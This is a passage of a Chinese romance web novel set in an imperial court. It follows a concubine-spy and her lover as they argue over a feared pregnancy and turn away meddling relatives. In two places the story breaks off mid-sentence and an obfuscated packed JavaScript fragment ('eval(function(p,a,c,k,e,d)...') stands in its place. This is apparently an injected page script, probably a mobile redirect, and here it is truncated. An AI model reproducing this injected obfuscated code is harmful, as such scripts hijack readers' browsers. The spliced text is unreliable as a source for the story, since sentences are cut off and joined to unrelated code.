“呃……”霍桑柔拉紧娃娃的小手,轻咳两声,把自己知道的讲遍,晏霁之再给普及:“你祖母的娘家是建威侯府郭家,但建威侯府和霍家已近乎决裂,想知详情问你姐姐。 穆国公夫人就是你大伯母出自博陵崔氏,你大堂嫂也就是霍海啸之妻出自清河房氏,当朝房副相是你大堂嫂的祖父;你二堂嫂出自桓国公府,是桓国公的嫡长女。 桓国公没走仕途,是举国有名的大商贾,桓家也许会是霍家姻亲中最先向你们示好的,若是给你和孩子送礼就平静接着吧,不必给回礼。” “为什么不给回礼?”霍桑柔反驳:“就算我的回礼不值钱也比白拿礼物要好吧。” “太微宫曾因粗制滥造停工,现今的太微宫是桓家掏银两承建,精美奢华,圣人很满意。”晏霁之似答非答:“虽然明面上仍由内库拨款,实则大家都清楚根本没走内库的账。” 霍桑柔惊讶:“他们家这么富贵呀,造座太上皇住的宫殿都造得起?” 小祐娃娃待娘和姨母身边,听着这些让他迷糊的话也没觉得枯燥想去玩耍,霍灵渠弯腰把孩子抱起来走去廊下,哄孩子睡午觉。 晏霁之原本挨近霍灵渠而站,现在这女人走掉,他便主动后退,和霍桑柔保持半丈远。他简单应声确实富得流油就继续道:“霍家三少奶奶是武将之女。 你大堂姐霍舒窈嫁的也是武将,你四嫂也就是霍振羽之妻是宗室女,不过她家空有宗亲之名已是花架,霍四奶奶的娘家弟弟想谋个好前程还得仰赖霍家帮扶。” “宗亲不是应该更富贵吗?”霍桑柔幸灾乐祸:“为什么她家偏是花架子?” “霍四奶奶是谷王的嫡长女,谷王乃圣人的异母弟,享五百户食邑,富贵自然有,只不过谷王没握到实权也没有在圣人跟前的脸面,已经是花架子。” 霍桑柔有点好奇:“五百户食邑有多少银两呀?还有这个谷王既然是太上皇的亲弟弟,为什么既没握到实权又还连点脸面都没,宗亲王爷们不是应该都很厉害吗?” “五百户食邑在五六千两白银上下,谷王是圣人唯一还在世的亲弟弟,曾经有过一千三百户食邑。授康十九年,圣人的同母亲弟谋逆,被诛后累及多数宗亲,圣人更是将除了谷王以外的另外三个亲兄弟及其家眷全部处斩。” 晏霁之倒有耐心:“谷王只被缩减食邑已经很幸运,能掌实权的宗亲不多,晋王和湘王都只享有食邑或再担个虚职,有些宗亲连食邑乃至敕封都没了,与平民百姓无异。” 霍桑柔似懂非懂地点点头应哦,晏霁之再道:“你祖父的同母亲弟霍绥业现任正二品漕运总督;霍破竹也就是你祖父的庶弟任正三品太仆寺卿;山东巡抚霍开同,你祖父的堂弟;霍骏豪也就是你的堂伯,镇守居庸关,你堂叔霍秉坚掌控着洛阳三万驻军。 他们是霍氏本家中最有分量的几位,霍氏一族有二十多位子弟在仕途,撇开姻亲,投在霍氏门下的势力难以估量,霍家乃当今第一豪族,懂吗?” “知、知道了。”霍桑柔有点磕绊,还以为她姐告诉她的够可以啦,竟然还有那么多。 “还有,你和你姐姐虽然是一母同胞的亲姐妹,但你和她对你们父亲的意义全然不同,你只是普通的庶女,而灵渠在霍家的地位则连嫡长孙女霍舒窈都不能媲美;老穆国公夫妇、霍太后和穆国公乃至霍海啸都视她为掌上明珠,霍漓江更把灵渠当命根宝贝。” 晏霁之告诫般提醒:“你姐姐在霍家时只能称呼自己的生母为阿姨,连姨娘都不能叫,所以回归霍家后若你们得到的待遇天差地别,你没必要计较,明白吗?” “庶女不都是叫生母为姨娘,凭什么不让我姐叫娘为姨娘?”霍桑柔只在意这点,她对霍家对亲爹都没印 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍灵渠注视他,郑重道:“我没有带桑柔四处漂泊,虽然我13岁寻回京城后没进家门,但我从未想过还要带着妹妹颠沛流离,我带桑柔另寻庇护了。在妹妹年幼还懵懂时,我是她姐姐是世间最疼爱她的亲人,我有权替她做主决断。” 找魏王庇护是吧,晏霁之真怀疑她眼瞎,尽量控制自己别阴阳怪气:“哪位?” “他已经过世了。”霍灵渠说,晏霁之瞬间治愈,心中憋笑腹诽:魏王晓得你咒他死吗?人家好歹庇护你顺带你妹妹十多年,你这样诅咒他合适吗?你也太不厚道了吧。 晏霁之轻咳声压压笑,搂住美人谈点正事:“将来你在宫里若是有机缘能见到蜀王,给我一张蜀王的画像。” 霍灵渠讶异,晏霁之神情正经起来:“授康28年,圣人将汉中四万驻军交给蜀王掌管,莫说魏王晋王,恐怕皇帝都觉得肉疼。蜀王绝非是能忽略的人物,我想见识他的模样,可惜他太神秘,若我见不得而你能见到,给我张画像。” “好。”霍灵渠应,晏霁之抬手划过她的眉眼,提议道:“今年要选秀,想尽快建立起霍贵妃妖妃的形象,我建议在贵妃的册封宴上你就阻拦选秀,拦不住也要摆明态度。” 霍灵渠沉默着点头,他叹息声再教导:“宫里翁美人已经有八个月的身孕,按规矩,至少得是正四品的嫔御才能养育皇嗣,翁美人才从五品,除非皇帝在她生产后直接擢升到正四品,否则她生的皇嗣她自己没资格养育。 贵妃入宫,高位嫔妃中只有贵妃膝下空虚,皇帝大概会让你抚养翁美人的皇嗣,但给你和你主动接手又是两回事,你主动接手就有抢的意味,可见霍贵妃霸道跋扈。我建议是就在后日宫宴上你主动提要抚养翁美人的皇嗣,没坏处。” 霍灵渠闷闷嗯声,晏霁之点点她的唇瓣:“小嘴能挂酒葫芦了。” “想到后天心里发闷,还在想将来真能再离宫吗?”霍灵渠美眸低落,苦笑道:“你说会不会他宁可将我拘死在皇宫里都不可能放我出宫?” “消除他因前未婚夫妻而留的残念,又助他大权在握,你还坚持要离宫,他会答应的,他是皇帝自然以社稷为重懂得权衡。”晏霁之扬笑宽慰,摆出替她着想而无私心的态度:“如何打消皇帝对霍灵渠那点残念,只能你自己把握。 我以为你多伤伤他的心寒掉他的热情或者平常多违拗他总没错,但你切记要注意分寸,你只是要与他陌路而非真欲触怒皇帝,否则令皇帝记恨想除之,那就得不偿失了。” 霍灵渠眼底聚起点光辉:“好,我记住了。” “笑笑,笑给我看看,不然你这么伤感失落的,我也强撑不住了。”晏霁之半真半假道:“如果我撑不住,我可能真会不管不顾带你远走他乡,皇帝怪罪可得让霍家担着。” 霍灵渠有点被逗高兴而展颜笑,晏霁之又吃味:“不是霍家担责你就不笑了?那干脆,你给我表演下册封贵妃的宫宴上该有的姿态,把扬眉吐气、嚣张跋扈、野心勃勃又漫不经心、欲望背后藏着深深恨意和悲痛交织的情绪拿捏出来,来,走段儿。” 霍灵渠没接茬而是走近步靠在他怀里,晏霁之把女人搂紧,霎时温柔:“好,回家练。未时中了,我们回府时那些不速之客肯定已经离开。” 霍桑柔把娃哄睡放在床铺里后就倚在窗边看院里,看他们相拥,她无端想叹气;她至少能察觉她姐能接受英王世子,而对皇帝根本是排斥抗拒,却不得不进宫做贵妃。 姐姐进屋来告别,霍桑柔恋恋地和姐姐告别再送出院,站在院前目送马车消失在巷口,她再转身回院里。 淡淡花香送暖,华盖马车驶过喧闹掠走几缕浮华,晴空纳进红尘悲欢离合炼化出心酸的刚强和温柔;阳光在缝隙间悄悄溜走,遗落漫天夕暮霭色,最终融进浓浓黑夜。 然昼夜周而复始,黑夜散退,黎明破晓,又是新的一日了。 寝屋朝南的窗牗半阖,映进幽幽春光浮动,阳光涉过红绡暖帐刻落痴缠。 床帏中,晏霁之抱着美人欲赴巫山时硬被阻拦,屋外响起恼人的禀告,他平心静气会儿冲外吩咐把院外的不速之客请走,再和她掰扯:“几回了,你自己算算,从昨夜到现在已经几回了?你又没不舒服,这么拦着几个意思?” “我也没拦,就是让你温柔些嘛,霁之~~”霍灵渠撒娇,晏霁之怀疑她哪不对劲,刚冒出个念头,屋外又响起禀告,奴婢们请不走院外的不速之客。 他深呼吸,扬声吩咐去请煦少爷夫妇来处理,再看向怀里的人,神情有点莫测:“你的月信该在前天来,推迟两日了,你怀疑自己可能已有身孕?” 51. 第51章 绚烂春色踏着落拓的明媚盛进床笫化作绕指柔,划过美人隐隐发白的容颜捏起滴心慌。 氤氲旖旎的轻纱幔帐里陡然僵硬,怀孕犹如是彼此间不能碰的刺,柔情散退,短短回眸对望中两人的心房似乎就已筑起防备的壁垒阻隔。 霍灵渠心尖微颤,定定神挑明:“对,月信推迟我心里害怕,我不想怀疑,我安慰自己应该只是凑巧可总忍不住担忧,既如此那么你告诉我,这月你避孕了吗?” 晏霁之俊脸难辨情绪,他自己都有点说不清道不明是喜是伤:“为何一再要我温柔,莫非你怕你真有身孕行房会伤到胎儿吗?就算怀孕,难道你还能愿意生?” “你只需回答你有没有避孕?”霍灵渠有些强硬提醒,突显的强硬反而漏出几丝慌乱,晏霁之平静对峙:“你先答,倘若真怀孕,你肯生我的孩儿吗?我再告诉你答案。” “若是你有避孕我怎会怀孕?你这问题没意义。”霍灵渠急切,晏霁之沉默看她,她捏捏掌心放软态度求:“霁之哥哥,当我求你莫再逗灵渠,你就坦白有没有避孕?” 晏霁之转念想试探:“没避。” 轻飘飘的两字像重重砸落的巨石能在心间砸出裂缝,这仿佛是判刑,判她必须面对打掉亲骨肉的血腥痛楚;霍灵渠绝美的容颜刹那惨淡,苦涩染进美眸,不由自主蓄起泪意。 她含泪凝望近在咫尺的男人,楚楚可怜的悲戚如此动容,不仅能激起男人强烈的保护欲,还能让男人心痛心碎恨不得把心掏给她,这就是个销魂蚀骨的尤物是噬人心魄的妖精。 晏霁之差点没把持住想坦诚实话,默默定定心神,抬手抚抚她的脸,倔强又释然的自嘲:“属于我的胎儿要终结也得终结在我的手里,若想打胎,我即刻给你准备。” “为何?”霍灵渠牵牵唇好像齿贝在打颤,晏霁之虽在骗她但情绪是真的:“不甘心,我的女人被硬生生夺走,我为何要甘心?我想给我们之间留点痕迹。” 霍灵渠气得扭身抄起枕头砸他,眼眶猩红破声吼:“混蛋,你王八蛋!” 晏霁之扬手抓住绣枕丢开,按住她冷笑:“如此惺惺作态不觉得假吗,难道你愿意生?我好歹比你强点,只要你愿意生我必定抗住皇帝的强压不让你进宫,可你愿意吗?” 霍灵渠颓然闭眼,一行清泪滑落纤细秀美的脖颈中,晏霁之牵牵唇泛起点点涩意,哪怕很清楚结果仍然由衷发涩:“最近我偶尔会想,当初我碰你时你为何愿意? 而我们已有夫妻之实你为何还抗拒给我生孩儿?那么排斥进宫,只要你肯留住这胎,我绝不会让你离开,但你宁可选择进宫;归根结底是你从未想过与我厮守终生,对吗?” 霍灵渠抬手拭掉泪水想出床榻被男人抱住,晏霁之刨根追究:“我要知道什么情况下,你怀上我的骨肉愿意生下来?别说没有,我必须要个有的情况。” 可能在思索可能在收敛心情,总之静默许久,霍灵渠才慢慢启唇:“隐居时,倘若我将远走他乡安度余生时突然发现自己有身孕,我会留着这胎,独自抚养孩儿。” “哈哈哈……就是有了我的骨肉你都不想跟我厮守终生是吧?!”晏霁之笑得眼眶红了,昨日他还在教这女人多伤伤皇帝今日就轮到自己被伤,当真天理循环,报应啊。 霍灵渠沉浸在将打掉亲骨肉的悲戚痛苦中,没心思理他,自然更难觉察男人的情愫。 “你给我准备好药材,明日我会自己煎药喝。明天册封贵妃,我若今日就打掉胎儿,怕身体撑不住;所以我想还是等宫宴过后,你想参与就备药材吧。” 晏霁之难得顶着满眼血丝,闭闭眼再睁眸已把伤心压住恢复得七七八八,闻言似笑非笑:“莫非你还想独孤终老吗?拒绝我又排斥嬴忱璧,你在期待谁,魏王吗?” “独自安度余生也没什么不好,何必非得找男人?”霍灵渠自嘲,一时没听出弦外音,晏霁之挑破讽笑:“魏王肯吗?你做细作似乎不大称职啊,例如你夜夜陪我颠鸾倒凤,魏王竟然还以为你我之间清白,你这么隐瞒主公合适吗?” 霍灵渠美眸大睁满含不可思议看他,晏霁之轻佻一笑甚风流:“很意外吗?我够好吧,我很清楚你每每主动对我投怀送抱的目的都配合,你想从晏家窃取什么,我都给你。” “你、你?”霍灵渠震惊得难以言表,忽然间遍体生寒,眼前的男人那么陌生恐怖,她微微颤抖着伸手拉旁边的锦被想把自己裹起来;这是下意识的最直观反应,她没过脑几乎可算本能反应,至于这举动是否正常合适压根儿没考虑,甚至她都不会想。 而会想的晏霁之目睹得险些呆愣,幼不幼稚,有没有点自觉?他们撕破脸在对峙谈判吧,这女人到底有没有做细作被揪出的自觉?不,她到底还有没有做细作的基本素养?! 尤其没自觉就罢了,这女人还真会切他的脉门!晏霁之挫败地按按眉心,相处多年到底不是盖的,一眼就能看出:“你这是觉得委屈吗?我都没生气,你在我身边做四年多细作,我仍然对你百般宠爱你还有什么可委屈?” 霍灵渠裹被而坐,吸吸鼻,满脸泫然欲泣的倔强,抿唇不语。 “你这副伤心难过的模样难道是我在欺负你吗?”晏霁之隐隐头疼,半响没得到回应,他哼笑声威胁:“信不信我让你生下我的骨肉再进宫做贵妃?” 静默两息时间,霍灵渠抛掉忍耐压抑,爆出撒泼的气势抡起秀拳打他,边打边带哭腔骂:“你个混蛋乌龟王八蛋,你个臭不要脸的流氓下流胚你不是东西……” 晏霁之:“……”……果然是霍擎的宝贝孙女,胡搅蛮缠绝对得真传了。 绝没想到过此情此景的晏某人默念十遍忍再制住她,气馁道:“你说,我哪里欺负你,你可是想把晏家搞垮,你这么恩将仇报,我都没觉得委屈你有什么可委屈?” “你故意不避孕让我怀胎难道不是报复吗?” 霍灵渠当然感觉委屈,就算这显得很矫情又如何,她为何不能觉得委屈:“我愿意打掉自己的亲骨肉吗?我愿意沾自己孩儿的血吗,难道我就铁石心肠不会痛苦难过吗?” 或许多年耳鬓厮磨的亲密到底不同,或许多年疼惜呵护在潜移默化中滋生的信赖贴近,哪怕再多冲突也难挡这自然流露的‘倚仗’,哪怕自己都没有意识到。 心总是最真诚的,总会选择在最毫无保留的人面前恣意放纵,一如被偏爱会有恃无恐,因为无理取闹也有人宠你;在外受欺负要回到家再哭,因为家里才有爱护。 晏霁之同样没察觉,只能把细作暂且翻篇,冷言相讥她的虚伪:“痛苦难过你不照样狠得下心肠打胎?你想惺惺作态也行啊,我替我孩儿谢谢你。” 霍灵渠受不得这种腔调,至少此刻绝忍不住,气哭着跟他对呛:“你摆什么慈父样,你又比我好吗,你真疼爱孩儿你能明知我不愿意生还让我怀孕吗?” “对,我不该存侥幸,你就是个铁石心肠的女人。”晏霁之嗤笑:“看我对你多好,你明明心狠手辣还想惺惺作态以图良心安稳,我都给你提供机会了。明天,我就在关雎宫里盯着你流掉我的骨血,然后再看你虚弱瘫倒在皇帝怀里,怎样?” “你混蛋!”霍灵渠破声骂,抄起扔在旁的绣枕继续打他,晏霁之憋屈躲避顺便防守,床帏间折腾出的响动猛增,以致屋外传进三遍禀告,他俩才听到。 “传令笛生和箫生各往霍家和佟家请霍巨浪夫妇和佟梦佶夫妇来把人领走。” 寝屋外,向来沉稳的朱楼耳根红透,得到命令快速撤退,疾步到廊前散散热就去传话,搬把矮凳坐在廊前做绣活的绿岫见状有眼色的招呼众婢女准备热水花瓣和香露。 当寝屋里传出吩咐要热水,在外的婢女们麻溜就绪,都是做惯的事,送过热水退出里间等过一刻钟再进屋更换床单被褥撒香露以及换茶水糕点瓜果,打理好房间后退出。 清清淡淡的玫瑰香气息飘散,阳光寻觅芳踪踏出悠扬的曲调,寝屋里终于又雅静起来。 鸳鸯浴毕,晏霁之抱霍灵渠回床里,虽然打了场,但他俩要热水沐浴真不是打架闹的,否则怎么会洗鸳鸯浴?不得不说男女在床帏中打闹真容易殊途同归。 “当年寻回京为何找魏王求庇护?”晏霁之问,彼此相拥而卧还算和谐,霍灵渠反问:“你何时知晓我是细作,你又怎么知道魏王以为我们之间还清白?” “正徽二年我才碰你,在此前魏王已经陆续撤掉埋在府里的暗钉,难道你还能主动向他禀告我们的闺帏中事吗?况且你从来没有向他要过避子药,他怎么想显而易见。” 晏霁之抬手摩挲她娇嫩的唇瓣,温柔覆住,吻大半刻钟还在腻歪,霍灵渠推开这男人说:“我没找他,我找的是大哥哥,我是说悼太子。 我当时想先找大哥哥,如果大哥哥不愿意帮我,我再找三叔霍银湖。倘若三叔也觉得为难那就找大伯母或者二哥巨浪。我所求不多,只是想有个安稳住处和能够维持生计的银两,我想这点要求对他们不算难事总不会都拒绝我的。” “悼太子?”晏霁之恍然,是悼太子生前把她们姐妹转托付给同胞亲弟魏王照顾,难怪她会说当年寻求庇护的那位过世了,还真是已经去世。 “你的求助对象中没有霍海啸吗?”他纯粹好奇:“他疼爱你如亲妹妹,又是嫡长孙比起巨浪和霍银湖会少许多顾虑,你找海啸才更有保障吧,为何都没考虑他?” “我猜想大哥不能容忍更不会按我的意愿办,极有可能他会带我回家里把事情捅破。”霍灵渠抿抿唇有点眼酸:“就像若是找爹爹就等于回家,找大哥,我赌不起就不能找。” 晏霁之叹息声,抚抚她的脸颊,问:“魏王对你好吗?” “好,锦衣玉食娇生惯养。”霍灵渠黯然垂眸,晏霁之追问:“魏王应该很清楚你的价值,他若纳你为侧妃想从霍家拿多少好处没有,他让你做细作完全是浪费,为何不纳你?” “总得我愿意。”霍灵渠木然道:“就像我不想生,你让我怀胎,我也能打掉这胎儿。” “算你狠!”晏霁之凉凉恭维,霍灵渠悲辛反讽:“没你狠,我有身孕,你都没点顾忌。我想打胎至少我会觉得疼,你有心疼孩儿吗?倘若这胎因房事流掉,当真有始有终。” 晏霁之服气:“你都要打胎也好意思谴责我不心疼孩儿吗?!”话音落,屋外响起禀告,他揉揉太阳穴平添丝烦躁,吻吻美人问:“要么你去把他们打发走?” 霍灵渠拉拉锦被,闭眼睡回笼觉。 “你没怀孕,我没让你怀孕只是让你月信推迟而已。”原本还想多瞒一两个时辰,面对外来的麻烦只得退让,晏霁之振振有词:“你不想想明天才册封贵妃,若是你前天就来月信,我只能干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“是吧,事到如今你对外祖母还能剩多少顾虑?”那么在回避谁显然了,霍灵渠提议:“皇帝寿诞有三日休假,你爹在府里,不如请王爷送客?” 晏霁之摇头:“父亲巴不得我尽快断绝对生母和外祖家的念想,这种情况他不会出面。” “我感觉你对表弟像有怨气?”霍灵渠猜,晏霁之默认:“想做国舅爷当然没错。” 霍灵渠皱皱眉,仰头看他,奇怪他怨从何来:“你在恨铁不成钢?” 晏霁之惊讶低头回望,忽然失笑,他们之间莫非已经如此心有灵犀了吗?他抬手,抚过女人微蹙的眉,淡淡自讽:“我哪里有资格,国舅爷、皇后,他凭什么不垂涎? 不想为点可能的隐患舍掉锦绣前程,多么理所应当;知道外祖家不怀好意可狠不下心,多么宽厚重情义。是我多管闲事,我哪来的资格恨铁不成钢?他想做国舅爷当然没错。” 霍灵渠安慰性地握握男人的手,这小小举动像是情绪的宣泄口,晏霁之不再压抑气愤:“我是生气,这表弟活二十岁到底有没有长脑子?昨天碰到海啸,你大哥都跟我打招呼了,如果霍家放弃振羽就是他自找的,我若心疼表弟,尽管负责他的前程。” “大哥竟放此重话?”霍灵渠惊讶,单纯作为旁观者的惊讶,晏霁之沉沉舒口气冷静道:“真追究能追究到一年多前蓁蓁死活闹着要做皇后,海啸大约忍无可忍了。 虽然霍鹣娇进宫了,但有与郭皇后和建威侯府撕破脸吗?将来真会对立都是多年以后乃至还有调解余地,可霍蓁蓁闹着要抢后位直接把两家的亲戚关系撕裂。灵渠你想想,失之毫厘谬以千里,这事对家族影响会小吗? 总归捧位霍皇后有好处,忍就忍了;偏偏他们兄妹的外祖家又想把霍家当做踏脚石,按本质算两家已经不是姻亲而是仇敌,可霍振羽知情以后是什么表现?一如既往,没有改变,这让霍家几位掌权人怎么想? 况且六天前我明白提醒了,强抢后位是对皇帝的羞辱是在践踏皇家颜面,皇帝能忍吗?皇帝将来回击羞辱可是得拿命去填的,更甚者他可还想与外祖家维持亲近和睦啊;他都不想这俩难题怎么解决,满心满眼就盯着自己要做国舅吗?!” 晏霁之气得冷笑起来:“我以为他至少能懂,霍家此举虽然迫使蓁蓁断掉皇后梦但也是掐灭隐患保住他妹妹和母亲的命、让他能与外祖家维持和睦的好机会。 谁成想他非但不趁势抓住机会加以管教反而能陪着闹,没准海啸都在思量,霍振羽的想法是靠霍家把他妹妹捧做皇后,他们兄妹将来改姓佟,引导皇帝将被羞辱的怒火指向霍家,襄助佟家踩着霍家成为当朝第一,他好稳稳当当做他的国舅爷?!” 话落,床帏中骤然安静,霍灵渠沉默两息,披件寝袍出床榻走到桌前,执茶壶倒杯水喝,连喝两杯后倒杯茶水回床前递给他。晏霁之接过茶杯饮尽,把女人拉回怀里抱住。 “你爱孩儿对吗?”他突如其来又追询:“我当然知道你不想生孩子,因为知道所以才以为你不在意;其实你若有我的骨肉,你会爱这孩儿,对吗?” 霍灵渠眼酸未语,晏霁之低头吻吻她,柔情缱绻:“你可知我们打闹场,我什么感悟吗?唯女子难养也,此言真有道理。你说,我说我知你是细作还你让你窃取晏家的底,这话怎么就能让你觉得委屈还大闹脾气,还有那些粗话都谁教你的啊?” “祖父,童年在霍家时祖父教的,我不骂而已,你是第一个。”女人低低叙来,晏霁之深表赞同,抱她平躺回被窝小憩,过两刻钟后唤婢女备午膳。 只是午膳过后,是霍灵渠出面与整上午都没请走的不速之客们交涉。 52. 第52章 霍灵渠一袭茜红色绣烟霞垂花丝缎裙外罩金丝披帛,镶缀碎宝石的裙摆拖曳过整洁的青石板路流淌丝丝缕缕斑斓光辉;她乌黑柔顺的青丝绾做单螺髻,鬓间珠钗华丽精美,宝光灼灼似比阳光耀眼,通身气派富贵堪比显贵正室。 她率众多奴婢和护卫走到廊下,留他们在屋外候着,她独自跨进会客花厅的门槛,站在门槛前迅速看过眼,她款款向前走两步即站定,相隔两丈远施礼:“流光有礼。” 屋中除了奴婢外,以主家身份待客的晏煦之夫妇和晏如瑰夫妇,被请来做说客的霍巨浪夫妇和佟梦佶夫妇还有引发这场会面的佟老太太、顺郡王妃和霍振羽都已在座。 因已等候近两刻钟,花厅内有些浮躁,流光姨娘这冷不防出现倒猛地令整间屋沉寂了。 “翩若惊鸿……”霍二奶奶桓炜若看呆般低声喃喃,有点难以置信,世间竟真能有女人如《洛神赋》中描绘得那般精妙绝伦。 不愧是亲姐妹,晏煦之的媳妇桓炜彤也在心底感叹:当真顾盼生辉、倾国佳人,但她比她姐姐要感观复杂的是,她真怕将来得喊这位流光姨娘为堂嫂啊。 佟梦佶夫妻俩对视眼,都在彼此眼中看到惊艳和惊讶,原以为是传闻夸大,没想到这位流光姨娘号称美貌绝代当真名不虚传。 顺郡王妃更是不可思议发现这小妾戴的珠宝比她戴的还要精贵华美,还有点规矩体统吗?灵光电闪间,她忽然理解那大姐为什么要那么掉价的经常去搜刮流光姨娘的妆匣,这种小妾在眼皮底下晃荡怎么受得了? 佟老夫人活这把岁数对美丽皮囊司空见惯都愣住了,而怔愣过后是被彻底挑起的怒火,拍拍高几怒喝:“振羽,去奕风楼把你表哥带出来!” 霍振羽迟疑下站起往前走,霍灵渠笑吟吟阻截:“怪不得晏家要送客送不走,霍二爷和佟四爷亲自来接也没用,果然没脸没皮,要脸之人如何奈何此等无耻之徒。” 屋内倏然安静,佟梦佶夫妻俩或多或少有点羞耻,霍振羽走到花厅中间生生停住脚步。桓炜彤瞟眼姐姐再看向丈夫,晏煦之轻轻摇头,心里有点悲催,他已经能预料见到堂哥时要被鄙视了,可没断亲他没法不留情面,否则他早把这仨轰出府了。 “蔚然居还真是没点规矩了,竟容个小妾撒野!”佟老夫人的伤痕淤肿未消,可她不仅脸上的粉抹得特别白更涂着深红如血色的口脂,此浓妆对她这六旬老太异常抢眼违和,以致竟令旁人莫名有点毛骨悚然之感。 “外孙不会教管,我这外祖母今日就替外孙正正规矩,来人,掌嘴!” 屋里的奴婢们面面相觑,连佟老夫人带的下人都没敢妄动,桓炜彤姐妹俩皆长吁口气。霍巨浪深呼吸,耐住脾性念在情有可原委婉规劝,然佟老夫人正因奴婢们没有动静要发作,这可不是撞在她的枪口吗?立时给霍巨浪还以颜色。 顺郡王妃头疼,真怀疑她娘在太微宫时磕破头影响脑子了,毕竟得求着霍家才有可能劝动霍家回心转意重新捧蓁蓁做皇后,这么和霍巨浪杠,他们还怎么相求? 佟梦佶倒是理解,一如这位嫡母得求着外孙相助仍然摆副发号施令的姿态,这两年沉浸在孙女会做贵妃继而做皇后的幻想中忘乎所以,霍家和晏家在她眼里早就只是让她踩着供她做举国最尊贵老太太的踏板,假想破灭前她哪还能低头? 面对在堂兄和外祖母的争执,霍振羽咬咬牙继续往前不想走到门槛前被晏四晏七拦住,晏诺随即领十名护卫进屋挨着门边站,明白白的威慑,气得佟老夫人猛喘气。 霍灵渠明眸善睐潋滟流光:“如此母亲,难怪能教得长女囫囵颠倒,请小姨把你娘带走。相信小姨是聪明人,定然明白你娘要丢人现眼没什么,影响你就不好了。” 仿佛砰然声炸响,在场姐妹连襟四人相互看看,霍巨浪轻咳声,晏煦之有点脑壳疼,他媳妇桓炜彤心情格外微妙复杂,更有丝丝抓狂的冲动叫嚣,那堂哥能不能收敛点?!这样挑战他们的底线,让她怎么睁只眼闭只眼? 晏如瑰夫妻俩悄悄交流过便继续做背景板,霍振羽攥紧拳头没作声,顺郡王妃慢半拍意识到流光姨娘的小姨竟然是喊她,喊她?!她当即炸毛:“你叫我什么?” “小姨想后半生不仰继子夫妇的鼻息总得有娘家人做保障,佟家已无能再出头之人,你还能仰仗谁?前途暗淡的霍蓁蓁,二十岁还如稚童般只会跟在娘身后的小外甥,还是……”霍灵渠扬扬下颌展出派碾压之态:“我的霁之?” 顺郡王妃心里咯噔声,视线不由自主投向站在门槛前被拦路的外甥霍振羽,霍振羽闻言亦下意识看向姨母,姨甥眼神相逢,做姨母的心里发虚,先别开了眼。 “梦如!”佟老夫人缓过喘气对幼女竟然踌躇不满极了,顺郡王妃真没底哪里敢堵死:“你、你……你把霁之叫出来!都几个时辰了,他还不肯现身像话吗?” 然而却不敢再驳斥流光姨娘这声小姨,霍振羽自嘲,这刻突然觉得自己窝囊。 “客随主便,小姨难道不懂吗?况且这亲戚关系有待商榷吧,五天前,佟老夫人在晏家已近乎要和霁之断亲,三天前她又和英王妃合谋想害霁之入狱,还想当做什么都没发生过来摆长辈的谱,小姨不觉得走错地方只怕府里的奴婢们都要觉得可笑了。” 霍灵渠和声提醒:“自己走总比被轰强,您说对吧?” “大局当前,你也知道霍家——”顺郡王妃也觉得不好意思可事情紧急没办法,她也体谅外甥心里有怨所以被晾这么久都没怎么生气,只是她没说完就被她母亲打断:“梦如,你和这种贱妾费什么话,振羽即刻去把霁之带出来,我看谁敢拦!” 霍振羽不再犹豫,跨出门槛要往前走哪想晏四晏七真敢跟他动手,他不慎跌退步,不敢相信地看着眼前阻拦的两名护卫。佟老夫人见此气得呼吸急促,心腹要给她顺气都被挥开:“反了,反了,你们这两个奴才反了敢拦振羽,还不快退开!” 屋中的四对夫妇各自神情有点微妙难看,霍灵渠适时讥讽:“昨天我妹妹说过句话,‘真拿自己当颗蒜了,连根葱都不是还装什么大头蒜。’眼前看来送给佟老太太你很恰当。这里是晏家,能轮到你做主吗?你说反了,不滑稽吗? 请你走不走,给你留点脸不要,老太太还想指望谁能给你留脸面?你还有个亲儿在任淄州府尹,你的亲孙们都想着在仕途攀登高位,你的娘家滁州钟家更想着要锦绣前程,老太太总该替儿孙们和娘家人想想。” 她弯弯眼,灵动的美眸风情粲然如有浩渺媚意撩拨心怀,然而说出的话可谓狠:“当然,佟老夫人只想图自己痛快肯定行的,非要见霁之,拿淄州府尹来抵。” 佟梦佶忽然有点想笑,晏煦之夫妇俩不约而同心想这肯定是那堂哥交代,而佟老夫人勃然站起只觉浑身血液在翻涌灼烧:“来人、来人,拖下去杖毙!” 霍巨浪捏捏眉心,顺郡王妃同时按住母亲规劝:“娘,大哥已经被罢官了,你就醒醒吧,大姐根本不抵用管不住儿子,我们现在是有事要求着霁之,不是来让你摆谱的。” 自霍家表态要给霍蓁蓁相看起,佟老夫人就处在颠覆的状态,再也没有往常的傲然只剩濒临崩溃的幻灭,可她根本不能接受这种失控;而她的嚣张更像自我安慰:实现还如预想,她仍然按计划那般掌控着所有,因此她受不得任何反抗。 “你这吃里扒外的逆女,你给娘滚!” 佟老夫人使出猛劲狠狠甩掉幼女,揣着满腔愤恨屈辱冷冷放话:“竟敢纵个贱妾威胁我,如此目无尊长,老娘就看那孽畜敢不敢逼死亲娘?!”语毕,她踏着重步往外走。 在门外的护卫们得到流光姨娘的示意让开,佟家的奴婢们急忙跟上。 霍二奶奶桓炜若难以置信想,这老太太莫非想怂恿她的长女以寻死来相迫吗?她妹妹太阳穴突突突狂跳,总有预感岚瑟居可能会闹腾到夜里都不消停。 屋里众位差不多都能猜到点情况,佟四夫人看向丈夫,他们得打个圆场吧?佟梦佶拦阻,这嫡母真会闹得和外孙决裂都对父亲没影响,他又何必再管。 顺郡王妃左等右等等不到庶弟夫妻俩有点表示,只能压住闷气亲自出面,但被抢先了,霍巨浪出声告辞以及要带堂弟回家,霍振羽拒绝:“我和小姨有很重要的事要同表哥商议,二哥二嫂若无意再逗留就自行回府吧。” “你们等得有三个时辰多了,从煦之夫妇婉拒到我和你小舅,连流光姨娘都出面了,你表哥的态度还不够明白吗?”霍巨浪加重语气训诫:“休得再胡闹,跟二哥回家!” 